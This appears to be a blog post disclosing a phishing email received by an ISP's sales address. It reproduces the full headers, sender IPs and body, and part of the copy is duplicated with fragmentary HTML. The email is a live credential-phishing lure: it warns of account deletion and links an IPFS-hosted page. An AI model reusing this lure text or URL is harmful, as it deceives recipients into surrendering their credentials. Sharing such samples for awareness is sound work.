spear phishing attempt
Posted by Dave Yadallee on
Return-path:
Envelope-to: dave@doctor.nl2k.ab.ca
Delivery-date: Thu, 09 Feb 2023 10:59:03 -0700
Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.96)
(envelope-from)
id 1pQBC9-000MLH-2z
for dave@doctor.nl2k.ab.ca;
Thu, 09 Feb 2023 10:58:53 -0700
Resent-From: The Doctor
Resent-Date: Thu, 9 Feb 2023 10:58:53 -0700
Resent-Message-ID:
Resent-To: Dave Yadallee
Received: from west.ikron.hu ([217.65.97.131]:44434)
by doctor.nl2k.ab.ca with esmtps (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
(Exim 4.96)
(envelope-from)
id 1pQBBU-000MF2-2A
for sales@nk.ca;
Thu, 09 Feb 2023 10:58:06 -0700
X-Envelope-To: sales@nk.ca
X-Envelope-To: sales@nk.ca
Received: from [192.168.1.90] (unknown [213.16.81.163])
by west.ikron.hu (Postfix) with ESMTPSA id 12CC0FADDE2
for; Thu, 9 Feb 2023 18:55:42 +0100 (CET)
Content-Type: multipart/alternative; boundary="===============0693275929=="
MIME-Version: 1.0
Subject: Server Administrator
To: sales@nk.ca
From: Email
Date: Thu, 09 Feb 2023 18:55:43 +0100
X-Virus-Scanned: clamav-milter 0.103.6 at west
X-Virus-Status: Clean
You will not see this in a MIME-aware mail reader.
--===============0693275929==
Content-Type: text/plain; charset="utf-8"
MIME-Version: 1.0
Content-Transfer-Encoding: quoted-printable
Content-Description: Mail message body
Server Administrator | Email Support sales@nk.ca
=
=
Hello sales@nk.ca
We are closing all old versions users from sales@nk.ca. Please confirm your=
email address to keep your account from being deactivated.
Confirm Your Email Here
=
=
=
Account will be automatically deleted sales@nk.ca. You can change the frequ=
ency of these notifications within your mailbox portal.
=A92023 All Rights Reserved.
--===============0693275929==
Content-Type: text/html; charset="utf-8"
MIME-Version: 1.0
Content-Transfer-Encoding: quoted-printable
Content-Description: Mail message body
=3Dutf-8"/>
--===============0693275929==--
Envelope-to: dave@doctor.nl2k.ab.ca
Delivery-date: Thu, 09 Feb 2023 10:59:03 -0700
Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.96)
(envelope-from
id 1pQBC9-000MLH-2z
for dave@doctor.nl2k.ab.ca;
Thu, 09 Feb 2023 10:58:53 -0700
Resent-From: The Doctor
Resent-Date: Thu, 9 Feb 2023 10:58:53 -0700
Resent-Message-ID:
Resent-To: Dave Yadallee
Received: from west.ikron.hu ([217.65.97.131]:44434)
by doctor.nl2k.ab.ca with esmtps (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
(Exim 4.96)
(envelope-from
id 1pQBBU-000MF2-2A
for sales@nk.ca;
Thu, 09 Feb 2023 10:58:06 -0700
X-Envelope-To: sales@nk.ca
X-Envelope-To: sales@nk.ca
Received: from [192.168.1.90] (unknown [213.16.81.163])
by west.ikron.hu (Postfix) with ESMTPSA id 12CC0FADDE2
for
Content-Type: multipart/alternative; boundary="===============0693275929=="
MIME-Version: 1.0
Subject: Server Administrator
To: sales@nk.ca
From: Email
Date: Thu, 09 Feb 2023 18:55:43 +0100
X-Virus-Scanned: clamav-milter 0.103.6 at west
X-Virus-Status: Clean
You will not see this in a MIME-aware mail reader.
--===============0693275929==
Content-Type: text/plain; charset="utf-8"
MIME-Version: 1.0
Content-Transfer-Encoding: quoted-printable
Content-Description: Mail message body
Server Administrator | Email Support sales@nk.ca
=
=
Hello sales@nk.ca
We are closing all old versions users from sales@nk.ca. Please confirm your=
email address to keep your account from being deactivated.
Confirm Your Email Here
=
=
=
Account will be automatically deleted sales@nk.ca. You can change the frequ=
ency of these notifications within your mailbox portal.
=A92023 All Rights Reserved.
--===============0693275929==
Content-Type: text/html; charset="utf-8"
MIME-Version: 1.0
Content-Transfer-Encoding: quoted-printable
Content-Description: Mail message body
=3Dutf-8"/>
ABLE style=3D'BORDER-TOP: rgb(204,204,204) 1px solid; FONT-FAMILY: "Times N=
ew Roman"; BORDER-RIGHT: rgb(204,204,204) 1px solid; BORDER-COLLAPSE: colla=
pse; BORDER-BOTTOM: rgb(204,204,204) 1px solid; BORDER-SPACING: 0px; BORDER=
-LEFT: rgb(204,204,204) 1px solid; BACKGROUND-COLOR: rgb(228,228,228)' cell=
Spacing=3D0 cellPadding=3D0 width=3D"100%" border=3D0>
2>
: 15px" vAlign=3Dmiddle width=3D32 align=3Dleft>
'FONT-SIZE: 16px; FONT-FAMILY: "symantec sans"; BORDER-COLLAPSE: collapse' =
vAlign=3Dmiddle align=3Dleft>
style=3D"VERTICAL-ALIGN: inherit">Server Administrator | Email Support=
sales@nk.ca
=3D3>
-COLLAPSE: collapse">
medium; FONT-FAMILY: "Times New Roman"; COLOR: rgb(0,0,0)'>
E style=3D'BORDER-TOP: rgb(204,204,204) 1px solid; FONT-FAMILY: "Times New =
Roman"; BORDER-RIGHT: rgb(204,204,204) 1px solid; BORDER-COLLAPSE: collapse=
; BORDER-BOTTOM: rgb(204,204,204) 1px solid; BORDER-SPACING: 0px; BORDER-LE=
FT: rgb(204,204,204) 1px solid' cellSpacing=3D0 cellPadding=3D0 width=3D"10=
0%" bgColor=3D#ffffff border=3D0>
ONT-FAMILY: calibri; BORDER-COLLAPSE: collapse; PADDING-BOTTOM: 0px; PADDIN=
G-TOP: 0px; PADDING-LEFT: 15px; LINE-HEIGHT: 27px; PADDING-RIGHT: 15px; BAC=
KGROUND-COLOR: rgb(236,243,249)">
>Hello sales@nk.ca
>
OLLAPSE: collapse; PADDING-BOTTOM: 5px; PADDING-TOP: 0px; PADDING-LEFT: 15p=
x; LINE-HEIGHT: 27px; PADDING-RIGHT: 15px; BACKGROUND-COLOR: rgb(236,243,24=
9)">
erif" cellSpacing=3D0 cellPadding=3D0 width=3D"100%" border=3D0>
style=3D'FONT-SIZE: 16px; FONT-FAMILY: "open sans", helveticaneue-light, "h=
elvetica neue light", "helvetica neue", helvetica, arial, "lucida grande", =
sans-serif; COLOR: rgb(64,64,64); LINE-HEIGHT: 26px'>
VERTICAL-ALIGN: inherit">We are clo=
sing all old versions users from sales@nk.ca. Please confirm your emai=
l address to keep your account from being deactivated.
P>
lapse; PADDING-BOTTOM: 10px; PADDING-TOP: 10px; PADDING-LEFT: 10px; PADDING=
-RIGHT: 10px" width=3D300 align=3Dleft>
it">
Y: "open sans", "helvetica neue", arial; WIDTH: 210px; COLOR: white; PADDIN=
G-BOTTOM: 14px; TEXT-ALIGN: center; PADDING-TOP: 14px; PADDING-LEFT: 7px; M=
ARGIN: 0px; PADDING-RIGHT: 7px; BACKGROUND-COLOR: darkblue' href=3D" https:=
//ipfs.io/ipfs/QmYPTjgKKJzY1rNKEQY6GfK1k27XFiCgZmbcVH7GYSC5z7/?sales@nk.ca =
" target=3D_blank>Confirm Your Email Here
=3D"FONT-SIZE: 0px; BORDER-COLLAPSE: collapse; PADDING-BOTTOM: 5px; PADDING=
-TOP: 5px; PADDING-LEFT: 15px; LINE-HEIGHT: 0; PADDING-RIGHT: 15px">&nbs=
p;
R: rgb(228,228,228)">
RDER-COLLAPSE: collapse; PADDING-BOTTOM: 10px; PADDING-TOP: 10px; PADDING-L=
EFT: 15px; LINE-HEIGHT: 20px; PADDING-RIGHT: 15px">
=
yle=3D"VERTICAL-ALIGN: inherit">Acc=
ount will be automatically deleted sales@nk.ca. You can change the fre=
quency of these notifications within your mailbox portal.
WORD-SPACING: 0px; TEXT-TRANSFORM: none; FLOAT: none; FONT-WEIGHT: 400; COL=
OR: rgb(34,46,51); FONT-STYLE: normal; ORPHANS: 2; WIDOWS: 2; DISPLAY: inli=
ne !important; LETTER-SPACING: normal; BACKGROUND-COLOR: rgb(240,240,240); =
TEXT-INDENT: 0px; font-variant-ligatures: normal; font-variant-caps: normal=
; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-=
decoration-style: initial; text-decoration-color: initial">=C2=A92023 All R=
ights Reserved.
--===============0693275929==--